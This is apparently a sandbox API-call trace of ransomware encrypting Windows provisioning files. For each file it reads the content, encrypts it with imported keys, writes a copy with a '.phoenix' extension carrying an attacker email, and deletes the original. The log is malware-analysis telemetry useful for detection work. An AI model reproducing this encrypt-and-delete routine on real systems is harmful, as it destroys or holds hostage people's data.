	[0248.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.133] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0248.133] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.133] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1f1, lpOverlapped=0x0) returned 1
	[0248.134] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x200, dwBufLen=0x200 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x200) returned 1
	[0248.134] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x200, lpOverlapped=0x0) returned 1
	[0248.135] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0248.135] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.135] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0248.135] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0248.135] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0248.136] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.136] CloseHandle (hObject=0x2c8) returned 1
	[0248.136] CloseHandle (hObject=0x2c4) returned 1
	[0248.136] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.137] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.137] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.137] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=839) returned 1
	[0248.137] CloseHandle (hObject=0x2c4) returned 1
	[0248.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.137] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.137] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.138] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.138] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0248.138] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.138] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x347, lpOverlapped=0x0) returned 1
	[0248.317] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0248.317] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0248.317] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0248.318] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.318] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0248.318] CryptDestroyKey (hKey=0x151240) returned 1
	[0248.318] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0248.318] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.318] CloseHandle (hObject=0x2c4) returned 1
	[0248.318] CloseHandle (hObject=0x2c8) returned 1
	[0248.318] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.351] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.353] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=709) returned 1
	[0248.353] CloseHandle (hObject=0x2c8) returned 1
	[0248.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.353] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.353] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.354] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.354] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.354] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0248.354] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.354] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c5, lpOverlapped=0x0) returned 1
	[0248.357] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0248.357] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.357] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0248.357] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.358] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0248.358] CryptDestroyKey (hKey=0x151180) returned 1
	[0248.358] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0248.358] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.358] CloseHandle (hObject=0x2c8) returned 1
	[0248.358] CloseHandle (hObject=0x2c4) returned 1
	[0248.358] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\372__connections_cellular_mobily (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.359] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.359] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.360] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=709) returned 1
	[0248.360] CloseHandle (hObject=0x2c4) returned 1
	[0248.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0248.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.360] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.360] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.360] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.360] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.361] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0248.361] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.361] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c5, lpOverlapped=0x0) returned 1
	[0248.363] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0248.363] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.364] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0248.364] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.364] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0248.364] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.364] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0248.364] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.364] CloseHandle (hObject=0x2c4) returned 1
	[0248.364] CloseHandle (hObject=0x2c8) returned 1
	[0248.364] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml")) returned 1
	[0248.365] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.365] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.366] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=463) returned 1
	[0248.366] CloseHandle (hObject=0x2c8) returned 1
	[0248.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0248.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.366] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.366] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.366] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.366] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.367] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0248.367] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.367] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cf, lpOverlapped=0x0) returned 1
	[0248.368] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0248.368] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0248.369] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0248.369] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.369] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
